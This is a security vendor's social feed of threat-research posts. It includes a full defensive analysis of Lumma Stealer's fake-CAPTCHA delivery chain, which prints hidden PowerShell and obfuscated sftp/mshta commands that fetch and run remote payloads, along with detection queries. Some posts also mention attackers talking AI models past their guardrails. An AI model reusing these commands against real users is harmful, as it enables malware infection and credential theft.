Sign in

Sophos X-Ops

@SophosXOps.infosec.exchange.ap.brid.gy
41 followers 0 following 128 posts

A task force composed of our SophosLabs, SecOps, MDR, and SophosAI teams working together towards one goal: protecting our customers. 🌉 bridged from infosec.exchange/@SophosXOps on the fediverse by fed.brid.gy

PostsRepliesMedia
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 25/09/2026
Every cyber defence assumes there's time to check: That's how it's always worked.... Verify the face, vet the hire, patch the flaw. In 2026, AI took that time away... We made a video on how that happened: www.youtube.com/watch?v=k9uTWVpjO8o… #infosec #cybersecurity #AI
000
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 07/09/2026
Sophos X-Ops took a deep dive into a PHP web server rootkit associated with compromised BIG-IP APM environments that use Apache and PHP components. The malware uses custom ELF loading, function hooking, and runtime code patching. The implant delivers on-demand server-side code execution […]
infosec.exchange
Original post on infosec.exchange
000
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 19/08/2026
Sophos X-Ops recently reviewed a year’s worth of cases tagged as AI activity. Of the confirmed adversarial AI cases, nearly all involved fake versions of legitimate AI sites and software used to infect users with malware. AI software impersonation accounted for 30 of 38 cases. Fake AI installer […]
infosec.exchange
Original post on infosec.exchange
001
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 11/08/2026
A threat actor talked commercial AI models past their guardrails, then stood up a "company" of AI agents that engineered, tested and refined malware. We break down exactly how they did it. New episode of The X-Ops Brief 👇 youtu.be/IG0BOSrknqw?si=SzYAXAU01wt…
000
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 31/07/2026
Data scientists from the Sophos AI team will be presenting new research at BSides Las Vegas next week, in two talks: one on a three-headed dog, and the other on long tails… First up, on Monday, a talk on ‘CerBERTus’ - a three-headed BERT-based model for prompt security. Rather than treating […]
infosec.exchange
Original post on infosec.exchange
000
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 27/07/2026
A lot of what's written about AI and cyberattacks is hype, or unverifiable. Our new AI report gives a detailed look at how attackers are actually operating: 🔷 Moving beyond experimentation to operationalize AI for attacks 🔷 Compressing attack timelines, turning weeks of manual work into days 🔷 […]
infosec.exchange
Original post on infosec.exchange
000
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 09/07/2026
How Do You Get Hacked With Zero Malware? WantToCry brute forces exposed SMB shares, steals your files, encrypts them on the attacker's infrastructure, then writes them back. We walk through the attack step by step 👇 youtu.be/YWSefucL0W8
120
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 30/06/2026
Conversations about ‘AI threats’ typically collapse into one of two extremes – on the one hand, hype and unverified claims; on the other, dismissal: it’s just old tradecraft with new branding. The truth is probably somewhere in between. Threat actors are using and experimenting with AI in […]
infosec.exchange
Original post on infosec.exchange
000
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 16/06/2026
At the NorthSec conference last month, Sophos Principal Data Scientist François Labrèche presented research addressing one of the biggest problems facing modern SOCs: alert fatigue. François proposed a novel approach to this issue: multiple layers of detection and filtering frameworks of […]
infosec.exchange
Original post on infosec.exchange
010
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 11/06/2026
We handed OpenClaw a penetration testing toolkit and pointed it at one of our own legacy Active Directory networks. The result: 23 findings across 11 attack paths… Full breakdown 👇 www.youtube.com/watch?v=NEculTwSj80
000
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 21/05/2026
New from Sophos X-Ops: the Nx Console VS Code extension compromise that led to the GitHub breach drops a Python backdoor that uses the GitHub Search API itself as its C2 channel — polling commit messages hourly for RSA-signed commands hidden in plain sight. Analysis, IOCs, recommendations and […]
infosec.exchange
Original post on infosec.exchange
000
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 20/05/2026
Our CTU Research team has been tracking GOLD SALEM (aka Warlock) A ransomware group that's torn through 60+ organisations across 3 continents in 6 months! New video out now ⬇️ www.youtube.com/watch?v=wfLcIjKbR5g #Cybersecurity #Ransomware #ThreatIntel
000
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 14/05/2026
Mainstream malware now regularly affects macOS users – particularly when it comes to infostealers, which regularly account for a significant portion of all the macOS detections we see in telemetry. Tracked since at least 2023, AMOS (Atomic macOS Stealer) is particularly prolific. It accounted […]
infosec.exchange
Original post on infosec.exchange
000
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 24/04/2026
🚨 Two supply chain attacks, same day, same C2. Sophos X-Ops is aware of reports of attackers hijacking Checkmarx KICS (Docker Hub, Open VSX, GitHub Actions) and the Bitwarden CLI (npm) to steal developer credentials on April 22. Evidence suggests one coordinated campaign. 🧵 Checkmarx KICS […]
infosec.exchange
Original post on infosec.exchange
010
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 14/04/2026
Sophos X-Ops recently investigated a report of a fake Claude website distributing malware. The malicious domain (claude-pro[.]com) downloads a file named Claude-Pro-windows-x64.zip, which when extracted results in an MSI installer file (Claude.msi). At the end of the attack chain is a […]
infosec.exchange
Original post on infosec.exchange
101
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 11/03/2026
ClickFix is an increasingly common social engineering technique, which threat actors use to trick users into installing malicious software on their devices. Historically, it’s been aimed at Windows users – but recently we’ve seen three ClickFix campaigns […] [Original post on infosec.exchange]
A screenshot of an installer window as part of a macOS ClickFix attack
100
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 25/02/2026
The 2026 Sophos Active Adversary Report is out — and despite the hype, we saw no AI-driven sea change in the threat landscape, based on the 600+ IR and MDR cases that made up our dataset. Attackers mostly stuck with what already works. Abuse of legitimate tools remained consistent, as did the […]
infosec.exchange
Original post on infosec.exchange
003
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 16/01/2026
In September 2025, Sophos Managed Detection and Response (MDR) teams identified a malvertising campaign distributing an infostealer dubbed TamperedChef – believed to be part of a wider campaign known as EvilAI. Previous coverage of this campaign suggests it began on June 26, 2025, with many of […]
infosec.exchange
Original post on infosec.exchange
000
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 10/11/2025
We’ve recently observed an increase in a malicious threat actor campaign leveraging GoTo LogMeIn installers distributed via phishing emails. X-Ops’ Labs and MDR teams are currently huddling on an investigation that’s delivering some interesting detection twists. The trouble starts, as trouble […]
infosec.exchange
Original post on infosec.exchange
000
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 31/10/2025
Debates around the effectiveness of phishing simulations are widespread. Supporters claim they can boost learning retention rates, help train users’ instincts, reduce risk, and contribute to developing a ‘security-first’ culture. Detractors point to tick-box compliance, fatigue, unfair and […]
infosec.exchange
Original post on infosec.exchange
103
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 30/10/2025
Sophos researchers have identified real-world exploitation of a newly disclosed vulnerability in Windows Server Update Services (WSUS), where threat actors are harvesting sensitive data from organizations. Following public release of proof-of-concept code, attackers began abusing the flaw to […]
infosec.exchange
Original post on infosec.exchange
001
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 24/10/2025
At the Conference for Applied Machine Learning in Information Security (CAMLIS) yesterday, SophosAI researcher Tamás Vörös presented his research on LLM salting, a novel technique to prevent LLM jailbreaks. Many organizations are increasingly deploying LLMs with minimal customization. This […]
infosec.exchange
Original post on infosec.exchange
112
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 21/10/2025
The Conference on Applied Machine Learning in Information Security (CAMLIS) kicks off tomorrow in Arlington, VA, and two data scientists from Sophos will be presenting their research. Ben Gelman will give a poster session on command line anomaly detection, research he previously presented at […]
infosec.exchange
Original post on infosec.exchange
010
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 26/08/2025
91% of #ransomware incidents involve data theft. Is your organization prepared? Explore the latest edition of our Threat Intelligence Executive Report – Volume 2025, Number 4, packed with actionable insights from our CTU Research Team. 🔹 Discover why […] [Original post on infosec.exchange]
000
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 06/08/2025
Since 2022, we’ve seen an increase in the sophistication of malware designed to disable EDR systems on an infected system. Some tools are developed by ransomware groups; some are purchased on the underground marketplace. In a post today we deep-dive into RansomHub’s EDRKillShifter – now […]
infosec.exchange
Original post on infosec.exchange
100
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 29/07/2025
Sophos analysts are investigating a new infection chain for the GOLD BLADE cybercriminal group’s custom RedLoader malware, which initiates command and control (C2) communications. The threat actors leverage a LNK file to remotely execute and sideload a […] [Original post on infosec.exchange]
A flow chart describing the infection chain under discussion; full text in article linked from next toot
100
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 23/07/2025
AI integration may seem very recent, but has been woven into the fabric of cybersecurity for many years. However, there are still improvements to be made. In our industry, models are often deployed on a massive scale, processing billions of events a day […] [Original post on infosec.exchange]
Clustered stacked bar graph showing performance difference between old production model and new, distilled model
013
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 21/07/2025
On Friday, July 18, 2025, Sophos MDR observed a surge in malicious activity targeting on-premise SharePoint instances. Analysts began tracking the execution of malicious PowerShell commands, associated with active exploitation leveraging a known exploit chain dubbed ToolShell. ⬇️ ToolShell […]
infosec.exchange
Original post on infosec.exchange
001
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 04/06/2025
We often get queries from customers asking if they’re protected against certain malware variants. A recent question seemed no different – a customer wanted to know if we had protections against ‘Sakura RAT,’ an open-source malware project hosted on GitHub […] [Original post on infosec.exchange]
A screenshot of a .NET project file, showing a long truncated string in the PreBuildEvent field
111
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 15/05/2025
Ever wondered what financially-motivated threat actors do with their illicit gains? Sophos X-Ops investigated obscure areas of criminal forums dedicated to ‘legal business’ – where threat actors discuss crimes and businesses beyond cybercrime and malware. We examined thousands of forum posts […]
infosec.exchange
Original post on infosec.exchange
101
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 09/05/2025
Some of our MDR researchers recently suited up and took a deep dive into Lumma Stealer. Want to see what they found? news.sophos.com/en-us/2025/05/09/lu…
news.sophos.com
In September 2024, a threat hunt across Sophos Managed Detection and Response’s telemetry uncovered a Lumma Stealer campaign using fake CAPTCHA sites that instructed victims to paste a (malicious) PowerShell-encoded command into Windows’ command-line interface. Subsequent investigations allowed us to dig deeply into the mechanics of the notorious information stealer. This post recounts those discoveries, as seen in various MDR investigations during the fall and winter of 2024-25. ### **Lumma Stealer basics** Lumma Stealer has been active since mid-2022 and is believed to have originated with a Russian-language developer. Offered as Malware-as-a-Service (MaaS), its maintainer sells access to the stealer via Telegram and offers updates and user support. Further information is made available on a dedicated Gitbook site. The infostealer targets a variety of valuables including passwords, session tokens, cryptocurrency wallets, and personal information from compromised devices. The threat is amplified by its cunning delivery methods. In one instance, the attacker manipulated users’ trust in CAPTCHA challenges and employed social engineering tactics to deceive victims seeking software downloads. In another, more straightforward case, the user was directed to a malicious site and prompted to open a file in Windows Explorer. The variations we saw in Lumma Stealer behavior are significant to defenders, because Lumma Stealer infection has been extremely common in recent months. That said, the delivery techniques we saw could easily be adapted to other malware beyond Lumma Stealer, making their documentation useful. (A list of IoCs will be made available on our GitHub repository.) Our researchers are aware of similar work underway from Netskope Threat Labs, including an estimate that as many as 5,000 fake-CAPTCHA sites may be currently involved in a Lumma Stealer-related campaign. Likewise, researchers at Qualys have done solid research to detail the mechanisms Lumma Stealer has used in recent months. Sophos strongly recommends scrutiny of the IoCs these researchers have offered to the public, in addition to our own. ## **Investigation #1: The art(istsponsorship) of the steal** In this investigation, the observed attack flow with CAPTCHA involvement was relatively straightforward: The attacker creates a malicious site, “protected” by a normal-looking CAPTCHA verification at hxxps[://]camplytic[.]com/go/cdff9f96-8cbd-4c44-b679-2f612a64cd00. The visiting user clicks on the familiar I-am-not-a-robot box, as shown in Figure 1. _Figure 1: A familiar-seeming verification box_ The user was next redirected to another alleged verification page, hxxps[://]sos-at-vie-1[.]exo[.]io/store-as/cloudflare-new-artist[.]html, on which they were asked to first load the Windows “run” command, then press Cntl-V followed by Enter, as shown in Figure 2. _Figure 2: The next “security check” request is somewhat unusual, but fairly straightforward for unwary users_ Behind the scenes, once the user pastes the PowerShell command into the Run dialog box, it triggers a concealed JavaScript function that drops a PowerShell script onto the Clipboard and runs it in a hidden window: C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -command $uR= hxxps[://]fixedzip[.]oss-ap-southeast5[.]aliyuncs[.]com/new-artist[.]txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content; iex $t That script retrieves the infostealer malware from a command-and-control (C2) server, and it’s off to the payload-retrieval races, as shown in Figure 3. _Figure 3: Attack flow with CAPTCHA abuse; note that Lumma Stealer itself is loaded midway through the process_ When run, the PowerShell script retrieves the Lumma Stealer malware from an external server, initiating the download of the first stage of the malicious payload onto the compromised system. The command $uR=hxxps[://]fixedzip[.]oss-ap-southeast-5[.]aliyuncs[.]com/new-artist[.]txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content; iex$t retrieves the content from the new-artist.txt file hosted on the external server. This content is then processed and executed through the Invoke-Expression cmdlet. This new-artist.txt file in the code above contains another PowerShell script, which connects to hxxps[://]fixedzip[.]oss-ap-southeast-5[.]aliyuncs[.]com/artist[.]zip . This zipped copy of Lumma Stealer is downloaded to the target machine, extracted into the user’s %AppData% path, and saved as ‘ArtistSponsorship.exe’ (sha256:e298cd6c5fe7b9b05a28480fd215ddcbd7aaa48a) for further execution, as shown in Figure 4. _Figure 4: The poisonous download_ The ArtistSponsorship.exe file contains, among multiple dropped files as seen in Figure 5, the obfuscated AutoIt.exe script (sha256:05d8cf394190f3a707abfb25fb44d7da9d5f533d7d2063b23c00cc11253c8be7). These are dropped in the %temp% directory. _Figure 5: Multiple files dropped into %temp% by ArtistSponsorship.exe_ The AutoIT script does a number of things and includes shellcode. Among its activities, it connects to the C2 domain snail-r1ced[.]cyou – IP 104.21.84[.]251 (CLOUDFLARENET). Lumma Stealer then targets user data, login credentials from various browsers, bitcoin wallets, and cookies. In Figure 6, AutoIt3.exe is accessing login data and cookies used by the Chrome browser. _Figure 6: Catching AutoIT3.exe red-handed with Chrome login credentials (among other things)_ AutoIt3.exe then executes the script X.a3x to exfiltrate the captured Chrome login data and cookies to the C2 IP104.21.84[.]251(CLOUDFLARENET). In the case we observed, a file of just 6.37MB – the login data and cookies — was successfully exfiltrated, after which the AutoIt3.exe process terminated. ## **Investigation #2: A deep dive into the code** In this section, we’ll dig far more deeply into the specifics of files and processes we encountered within the payload delivery chain. In the case we’ll examine, the user inadvertently visited an infected site. First, the user was prompted to open a PDF-format file in Windows Explorer, as shown in Figure 7. _Figure 7: The user is attempting to load a PDF, but that’s not what’s about to happen_ The file, apparently a PDF called “Instruction_695-18014-012_Rev.PDF,” is actually a remotely hosted .lnk (shortcut) file, as shown in Figure 8. _Figure 8: Windows warns that this is actually a shortcut, not a PDF_ The shortcut file attempts to execute an obfuscated PowerShell script, as shown in Figure 9. _Figure 9: The obfuscated script in the Target field_ The full text of the obfuscated script is C:\Windows\System32\OpenSSH\sftp.exe -o ProxyCommand="powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]pxuh]]]]]aq.sh]]]]]]]op/W7]]]7Z9]]]].mp4]]'  -replace ']') When a user executes the shortcut file, sftp.exe will execute the obfuscated command through the ProxyCommand flag. However, sftp.exe doesn’t actually establish the network connection itself; it delegates the task to ssh.exe with a special set of parameters: "C:\Windows\System32\OpenSSH\ssh.exe" "-oForwardX11 no" "-oForwardAgent no" "-oPermitLocalCommand no" "-oClearAllForwardings yes" -o "ProxyCommand=powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]pxuh]]]]]aq.sh]]]]]]]op/W7]]]7Z9]]]].mp4]]'  -replace ']')" "-oProtocol 2" -s -- . sftp . As we see in the block of code above, the parameters exploit the ‘ProxyCommand’ option. ProxyCommand specifies a command to run instead of connecting directly to the target host. In the above example, ProxyCommand is set to run PowerShell, which in turn executes mshta.exe to download and execute a remote script. The first PowerShell script execution is as shown in Figure 10. _Figure 10: The first execution is revealed_ This script processes AES-encrypted data within the aepcc function, as shown in Figure 11. _Figure 11: Lumma Stealer’s creators did not choose a weak encryption algorithm_ In Figure 12, the AES key is listed first. It’s followed by an initialization vector (IV) of 16 bytes of zeroes; the IV is there to add randomness to the start of the encryption process. Despite that, we decrypted the data using CyberChef, as shown. _Figure 12: CyberChef begins to reveal what’s going on_ Next, we decoded the script from base64 – closer to readable, but now a large mass of decimals, as shown in Figure 13. _Figure 13: The script comes into better focus_ The decimals in that mass of numbers are in fact ASCII characters. A further pass by CyberChef, as shown in Figure 14, reveals that this is a PE file, one designed to download further payloads. _Figure 14: A PE file with a single malicious purpose_ This script performs the following actions: 1. Sets variable ‘O’ equal to the C2 URL. 2. Dynamically retrieve the ‘Load’ method from the .NET ‘System.Reflection.Assembly’ class. The ‘Load’ method is then invoked on the value of variable ‘oQ7’ (the obfuscated PE); this essentially loads the PE into memory. 3. As displayed above, the PE contains a single static method named ‘aHdiNKuWlR’. This method downloads the content of the URL passed to it utilizing WebClient. The script passes the value of the ‘O’ variable (containing the C2 URL) to the PE loaded in memory. 4. The ‘aHdiNKuWlR’ method defined in the PE processes the URL passed to it by downloading its content using DownloadString. 5. The ‘\appdata\roaming’ path is saved to the variable ‘Ikmg’. 6. Function ‘bOje’ is executed and performs the following actions: 1. The function first appends ‘i1040gi.pdf’ to the ‘Ikmg’ (file path) variable. 2. Makes a call to function ‘rlYDr’ and passes a unique identifier which is retrieved from the AES decrypted data at position 103 with length 86, as shown in Figure 15. _Figure 15: A hexadecimal view of the unique identifier_ 7. Checks if the ‘\appdata\roaming\i1040gi.pdf’ path does not exist. 8. If the file path does not exist, executes function ‘XSFbo’. This function takes two parameters: 1. ‘BtPdn’: This function takes the unique identifier as an input. It extracts a specific 100 characters from the AES-decrypted data and uses it as a lookup table to convert the unique identifier into a URL. The resulting URL is a legitimate PDF document from the IRS. 2. The second parameter is the file path in variable ‘EVcD’ as shown in Figure 16. _Figure 16: The file path appears_ After decoding the URL, function ‘XSFbo’ takes the URL and downloads the contents using ‘Net.WebClient’ (which was also decoded using ‘BtnPdn’), then saves the PDF to the file path specified in variable ‘EVcD’ as shown in Figure 17. _Figure 17: The file path appears again, as the save destination_ Finally, the PDF that was downloaded is executed, as shown in Figures 18 and 19. _Figure 18: There it is…_ _Figure 19: …and there it goes_ ### **But wait! There’s more!** To conclude this analysis, let’s trace back to the stages before the benign PDF is downloaded and executed. We first noticed that there was a dynamic retrieval of the ‘Load’ method, which was used to load the embedded PE that we decoded. Then we observed a static method defined inside the PE that was being leveraged to download the next stage. Lastly, we see the downloaded script executed with ‘InvokeScript’. Let’s focus on this next stage. The next stage that was downloaded is heavily obfuscated with useless comments and very long variable names, as shown in Figure 20. _Figure 20: Mooncake, pasties, fritter, ragu, kebabs, taco… clearly someone was obfuscating on an empty stomach_ Once de-obfuscated, we discovered that this script is responsible for downloading a final stage. The script features dynamic resolution of low-level Windows APIs such as ‘GetProcAddress’, VirtualProtect’, and ‘AmsiInitialize’. ## **Detections** The following queries may prove useful for defenders seeking evidence of Lumma Stealer in their systems. Identify all threat files scripts/binaries from identified SPIDs utilized to build Lumma Stealer within the last eight hours or within a time range: SELECT strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.time,'unixepoch')) dateTime,sfj.time AS epoch_time, spj.cmd_line, CASE sfj.event_type        WHEN 0 THEN 'Created'        WHEN 2 THEN 'Deleted'    END eventType, sfj.sophos_pid, sfj.path AS file_path, sfj.target_path, sfj.file_size, strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.creation_time,'unixepoch')) birth_time_utc, strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.last_write_time,'unixepoch')) modified_time_utc, spj.sid, u.username, sfj.sha256 FROM sophos_file_journal sfj LEFT JOIN sophos_process_journal spj ON sfj.sophos_pid = spj.sophos_pid LEFT JOIN users u ON spj.sid = u.uuid WHERE sfj.sophos_pid IN ('<SPID1>', '<SPID2>', '<SPID3>', '<SPID4>') AND sfj.event_type IN (0, 2) AND sfj.time > strftime('%s', 'now', '-8 hour') --sfj.time > strftime('%s','2024-11-13 04:44:32') AND sfj.time < strftime('%s','2024-11-13 04:47:35') Identify possible exfiltration and C2: SELECT strftime('%Y-%m-%d %H:%M:%S', datetime(time,'unixepoch')) dateTime, * FROM sophos_process_activity WHERE sophos_pid IN ('<SPID1>', '<SPID2>', '<SPID3>', '<SPID4>') AND subject IN ('Dns','FileOtherReads', 'Ip', 'RuntimeIOCs', 'Process', 'Network') AND time > strftime('%s', 'now', '-8 hour') --AND time > strftime('%s','2024-11-13 04:44:32') AND time < strftime('%s','2024-11-13 04:47:35') Identify the source URL of the fake CAPTCHA / verification prompt from the browsing history: SELECT f.path,f.directory,f.filename,f.size,strftime('%Y-%m-%d %H:%M:%S',datetime(f.mtime,'unixepoch')) AS modified_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.atime,'unixepoch')) AS last_access_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.ctime,'unixepoch')) AS change_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.btime,'unixepoch')) AS birth_time_utc,attributes, h.sha256 AS SHA256, h.sha1 AS SHA1, h.md5 AS MD5 FROM file f LEFT JOIN hash h on f.path = h.path WHERE f.path LIKE 'C:\Users\%\AppData\Local\Google\Chrome\User Data\%\History' -- Windows history for Chrome OR f.path LIKE 'C:\Users\%\AppData\Local\Microsoft\Edge\User Data\%\History' -- history for Edge OR f.path LIKE 'C:\Users\%\AppData\Roaming\Mozilla\Firefox\Profiles\%\places.sqlite' --Windows history for Firefox; OR f.path LIKE 'C:\Users\%\AppData\Roaming\Mozilla\Firefox\Profiles\%\downloads.sqlite' --Windows history for Firefox; order by f.mtime DESC ## **Conclusion** Lumma Stealer remains a significant threat as of this writing. The documented tactic of using fake CAPTCHA sites to lull victims into entering a malicious command on their own systems is an ugly twist on the situation; Sophos’ endpoint protection counters the threat with a range of malware detections and behavioral-analysis tactics, but educating users to mistrust CAPTCHAs, after so many years of convincing them to answer them, is a heavy lift. As those education efforts expand, defenders are advised to institute appropriate endpoint-detection technology and to be aware that the tactics of this all-too-common infostealer continue to evolve. ### **Acknowledgements** Andrew Jaeger, Nayana V R, David Whitehall, and Waldemar Stiefvater contributed review and constructive critique to this work. ### **Indicators of compromise** The IoCs compiled in this investigation are available on our GitHub repository. ### Share this: * Mastodon * Bluesky * Reddit * LinkedIn * More * * Tumblr * Pocket * Print * Email *
100
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 08/05/2025
Threat actors regularly look for ways to disable security products. Tamper protection - a mechanism designed to stop threat actors from interfering with security products – is therefore a critical part of any security suite. In line with our previous efforts to provide transparency into our […]
infosec.exchange
Original post on infosec.exchange
000
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 16/04/2025
Today, Sophos X-Ops has published Sophos' Annual Threat Report, with a focus on cybercrime affecting small and medium businesses. There are a number of key takeaways from the incident and detection telemetry from 2024: First, network edge devices-and VPN […] [Original post on infosec.exchange]
A chart showing initial compromise types, ranked in frequency seen in incidents by Sophos MDR and Sophos Incident Response. VPNs were the source of initial compromise over 30% of the time.
199
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 02/04/2025
Today we released the 2025 Sophos Active Adversary Report (AAR), looking at data from 413 incident-response cases handled by our X-Ops MDR and IR teams in 2024. This edition of the report has a number of interesting findings, a vastly expanded dataset, and -- in honor of our fifth anniversary -- […]
infosec.exchange
Original post on infosec.exchange
102
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 01/04/2025
In late January, Sophos MDR Incident Response responded to a cluster of simultaneous Qilin ransomware attacks on customers of a managed service provider. The attacks were enabled by the MFA phishing of an MSP administrator's ScreenConnect login. /1
The Qilin ransom note dropped in the attacks
121
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 27/03/2025
Sophos MDR has observed two distinct social engineering campaigns using a technique referred to as ClickFix spiking during March. In both of these campaigns—one surging on March 2 and the other on March 12—the goal was deployment of SecTopRAT malware. We are tracking this activity as STAC6380. /1
112
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 27/03/2025
Back in 2021, researchers reported on PJobRAT, an Android RAT targeting Indian military personnel by imitating various dating and instant messaging apps. After that, everything seemed to go quiet. But during a recent threat hunt, Sophos X-Ops researchers […] [Original post on infosec.exchange]
Three screenshots taken on a mobile phone, arranged in a row. The first is a dialogue message asking the user if they want to stop optimising battery usage. The second is a login screen. The third is a dialogue telling users they are using an old version and providing a download link to download a new version
101
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 19/03/2025
At Virus Bulletin 2024, Sophos Principal Data Scientist Younghoo Lee presented a paper on Sophos’ research into multimodal AI (a system that integrates diverse data types into one analytical framework) for detecting spam, phishing and unsafe web content. Multimodal AI is a significant shift in […]
infosec.exchange
Original post on infosec.exchange
101
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 13/03/2025
At the end of 2023, Sophos X-Ops noted a 62% year-on-year increase in ‘remote encryption’ attacks – where ransomware attackers compromise an unmanaged or under-protected endpoint, and leverage that access to encrypt data on managed, domain-joined machines […] [Original post on infosec.exchange]
A bar chart (blue background, white bars) showing the number of remote encryption incidents (normalized as percentages) from January 2022 until December 2024, with a red trendline superimposed, rising from left to right
101
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 06/02/2025
Hi everyone. @threatresearch taking over the X-Ops feed today with a cool story. Beginning in November 2024, we began to see an uptick in the number of spam emails that had an unusual attachment – an .svg file. This is a graphics format, and one might […] [Original post on infosec.exchange]
ALT: An email that says “A new shared file has arrived for you” with other details that make it look like it comes from the target’s own organization. The email has a file attachment with an SVG suffix.
102
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 29/01/2025
A year ago, Sophos X-Ops published our research into threat actor attitudes towards AI. We went into the underground forums to see what they were saying about AI. At the time, we found threat actors were skeptical, grappling with the same issues, problems, and concerns everyone was. A year […]
infosec.exchange
Original post on infosec.exchange
101
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 21/01/2025
Sophos X-Ops’ Managed Detection and Response has been tracking two separate clusters of cybercriminal activity that leverage a very similar initial playbook: a torrent of emails at targeted individuals , followed by Teams calls and messages posing as IT support.
110
Reposted by Sophos X-Ops
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 27/11/2024
Since the beginning of September, Sophos X-Ops’ anti-spam research team has registered nearly 150 “emailbomb” attacks that targeted specific Sophos customers’ inboxes. While similar, these are not spam attacks: threat actors use tools provided by otherwise […] [Original post on infosec.exchange]
Frequency of email bombing attacks against individual inboxes, by week. The peaks in this time period were the week of September 22 and the two weeks of October 27 and November 3
113
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 16/01/2025
Hi everyone, it's @threatresearch driving the X-Ops social media today to let you know about a story we just published, written by my colleague Gabor Szappanos. Szapi has done significant research in the past into a #malware family called #Gootloader that (for years, now) uses malicious #SEO […]
infosec.exchange
Original post on infosec.exchange
215
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 31/12/2024
Get ready for 2025 by looking back on attack insights from our latest #ActiveAdversary report: news.sophos.com/en-us/2024/12/12/ac… Happy New Year! Have a safe and great 2025. #DeckTheAARs
001
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 30/12/2024
Continue getting ready for the new year with part two of our two part series on “Patch Prioritization.”. Here we go into #EPSS, #SSVC, #KEV, and other tools and frameworks […]
infosec.exchange
Original post on infosec.exchange
000
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 27/12/2024
Get ready for the new year by taking time to better understand how to prioritize your patching. Read understanding #CVSS part one of our two part series on “Patch Prioritization.” This part focuses on […]
infosec.exchange
Original post on infosec.exchange
000
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 24/12/2024
The Sophos X-Ops Teams wish you, yours, and everyone happy, quiet and safe holidays. In the spirit of the holidays, here’s an ornament view of our latest #ActiveAdversary report. news.sophos.com/en-us/2024/12/12/ac… Happy Holidays! #DeckTheAARs
000
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 19/12/2024
In November, Sophos MDR noted a rapid decline in detections for the Rockstar2FA phishing as a service platform. Its rise was documented in a report by Trustwave on November 26. /1 […]
infosec.exchange
Original post on infosec.exchange
100
Sophos X-Ops @sophosxops.infosec.exchange.ap.brid.gy · 16/12/2024
While the #Akira #ransomware leak site experienced availability issues in October, reports of their demise have been greatly exaggerated. The burst of new victim activity when the site came back online in November caused some speculation that this was their […] [Original post on infosec.exchange]
100